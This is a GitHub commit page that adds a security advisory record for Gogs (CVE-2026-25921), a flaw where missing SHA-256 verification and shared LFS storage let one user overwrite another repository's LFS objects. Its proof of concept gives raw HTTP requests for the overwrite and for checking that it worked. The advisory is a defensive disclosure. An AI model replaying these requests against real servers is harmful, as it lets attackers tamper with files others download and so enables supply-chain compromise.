Skip to content

Commit c2ef51a

Browse files
1 parent f06eeee commit c2ef51a

1 file changed

Lines changed: 72 additions & 0 deletions

File tree

Lines changed: 72 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,72 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-cj4v-437j-jq4c",
4+
"modified": "2026-03-05T19:14:41Z",
5+
"published": "2026-03-05T19:14:41Z",
6+
"aliases": [
7+
"CVE-2026-25921"
8+
],
9+
"summary": "Gogs: Cross-repository LFS object overwrite via missing content hash verification",
10+
"details": "### Summary\nOverwritable LFS object across different repos leads to supply-chain attack, all LFS objects are vulnerable to be maliciously overwritten by malicious attackers.\n\n### Details\nGogs store all LFS objects in the same place, no isolation between different repositories. (repo id not concatenated to storage path) https://github.com/gogs/gogs/blob/7a2dffa95ac64f31c8322cb50d32694b05610144/internal/lfsutil/storage.go#L52-L58\n\nGogs does not verify uploaded LFS file content against its claimed SHA-256, meaning attackers can manipulate the uploaded file like injecting backdoor. https://github.com/gogs/gogs/blob/7a2dffa95ac64f31c8322cb50d32694b05610144/internal/lfsutil/storage.go#L79-L89\n\nHere's the comment that trust client to retry upload allowing them to overwrite. However, this assumption does not hold in the case of a malicious client. https://github.com/gogs/gogs/blob/7a2dffa95ac64f31c8322cb50d32694b05610144/internal/route/lfs/basic.go#L111-L113\n\n### PoC\n\n```\n# ./gogs -v\nGogs version 0.13.0\n```\n\n#### 1. User (admin1) upload a LFS object into their repository `admin1/testlfs.git` normally\n\n```\nPOST http://172.29.121.170/admin1/testlfs.git/info/lfs/objects/batch\nUser-Agent: git-lfs/3.0.2 (GitHub; linux amd64; go 1.17.2)\nAccept-Encoding: gzip, deflate, br\nAccept: application/vnd.git-lfs+json\nConnection: keep-alive\nContent-Type: application/vnd.git-lfs+json\nAuthorization: Basic YWRtaW4xOjg2ZjgxMmNkNDBiODY1YmIzZGQ1NTgyNDI2OTE2M2FmNDM3ZGZjZWI=\nContent-Length: 168\n\n{\"operation\": \"upload\", \"objects\": [{\"oid\": \"5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a\", \"size\": 1048576}], \"ref\": {\"name\": \"refs/heads/master\"}}\n\nresponse: <Response [200]>\nConnection: close\nContent-Length: 438\nContent-Type: application/vnd.git-lfs+json\nDate: Thu, 28 Nov 2024 13:57:47 GMT\nSet-Cookie: lang=en-US; Path=/; Max-Age=2147483647\n\n{'objects': [{'actions': {'upload': {'header': {'Content-Type': 'application/octet-stream'},\n 'href': 'http://172.29.121.170:3000/admin1/testlfs.git/info/lfs/objects/basic/5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a'},\n 'verify': {'href': 'http://172.29.121.170:3000/admin1/testlfs.git/info/lfs/objects/basic/verify'}},\n 'oid': '5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a',\n 'size': 1048576}],\n 'transfer': 'basic'}\n\n[STEP3] file_upload PUT http://172.29.121.170:3000/admin1/testlfs.git/info/lfs/objects/basic/5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a\nheaders: {'Content-Type': 'application/octet-stream', 'Accept': 'application/vnd.git-lfs+json', 'Authorization': 'Basic YWRtaW4xOjg2ZjgxMmNkNDBiODY1YmIzZGQ1NTgyNDI2OTE2M2FmNDM3ZGZjZWI='}\nresponse: <Response [200]>\n[verify POST] http://172.29.121.170:3000/admin1/testlfs.git/info/lfs/objects/basic/verify\nPOST http://172.29.121.170:3000/admin1/testlfs.git/info/lfs/objects/basic/verify\nUser-Agent: git-lfs/3.0.2 (GitHub; linux amd64; go 1.17.2)\nAccept-Encoding: gzip, deflate, br\nAccept: application/vnd.git-lfs+json\nConnection: keep-alive\nContent-Type: application/vnd.git-lfs+json\nAuthorization: Basic YWRtaW4xOjg2ZjgxMmNkNDBiODY1YmIzZGQ1NTgyNDI2OTE2M2FmNDM3ZGZjZWI=\nCookie: lang=en-US\nContent-Length: 92\n\n{\"oid\": \"5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a\", \"size\": 1048576}\n\nresponse: <Response [200]>\nConnection: close\nContent-Length: 0\nDate: Thu, 28 Nov 2024 13:57:47 GMT\n```\n\nIn this step, upload a LFS object `5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a`\n\n#### 2. Attacker `user2` overwrite this file by uploading manipulated content to their repo `user2/public.git`\n\n```\nPUT http://172.29.121.170:3000/user2/public.git/info/lfs/objects/basic/5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a\nContent-Type: application/octet-stream\nAccept: application/vnd.git-lfs+json\nAuthorization: Basic dXNlcjI6NTRmZGU5ZmI3YjdmOTQ0MmM3MzY4ODhlMWIyNjZmMWE4MzAyMzE5NQ==\n\nresponse: <Response [200]>\n```\n\n#### 3. Verify the content has been overwritten:\n\n```\n# curl http://172.29.121.170:3000/admin1/testlfs.git/info/lfs/objects/basic/5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a -H \"Authorization: Basic YWRtaW4xOjg2ZjgxMmNkNDBiODY1YmIzZGQ1NTgyNDI2OTE2M2FmNDM3ZGZjZWI=\" -i\nHTTP/1.1 200 OK\nContent-Length: 1048576\nConnection: keep-alive\nContent-Type: application/octet-stream\nDate: Thu, 28 Nov 2024 14:01:53 GMT\nKeep-Alive: timeout=4\nProxy-Connection: keep-alive\nSet-Cookie: lang=en-US; Path=/; Max-Age=2147483647\n\ncurl: (18) transfer closed with 1048563 bytes remaining to read\n2222 replaced\n```\n\n### Impact\nAll LFS objects hosted on Gogs can be maliciously overwritten. Supply-chain attack is possible, and when user download LFS object from webpage, there's no warning at all. \n\n### Fix Suggestion\n\nUploaded LFS objects must be verified to ensure their content matches the claimed SHA-256 hash, to prevent the upload of tampered files.\n\nFix example: https://code.rhodecode.com/rhodecode-vcsserver/changeset/a680a60521bf02c29413d718ebca36c4f692ea4a?diffmode=unified",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:L"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Go",
21+
"name": "gogs.io/gogs"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "0.14.2"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 0.14.1"
38+
}
39+
}
40+
],
41+
"references": [
42+
{
43+
"type": "WEB",
44+
"url": "https://github.com/gogs/gogs/security/advisories/GHSA-cj4v-437j-jq4c"
45+
},
46+
{
47+
"type": "WEB",
48+
"url": "https://github.com/gogs/gogs/pull/8166"
49+
},
50+
{
51+
"type": "WEB",
52+
"url": "https://github.com/gogs/gogs/commit/81ee8836445ac888d99da8b652be7d5cbc5c4d5c"
53+
},
54+
{
55+
"type": "PACKAGE",
56+
"url": "https://github.com/gogs/gogs"
57+
},
58+
{
59+
"type": "WEB",
60+
"url": "https://github.com/gogs/gogs/releases/tag/v0.14.2"
61+
}
62+
],
63+
"database_specific": {
64+
"cwe_ids": [
65+
"CWE-345"
66+
],
67+
"severity": "CRITICAL",
68+
"github_reviewed": true,
69+
"github_reviewed_at": "2026-03-05T19:14:41Z",
70+
"nvd_published_at": null
71+
}
72+
}

0 commit comments

Comments
 (0)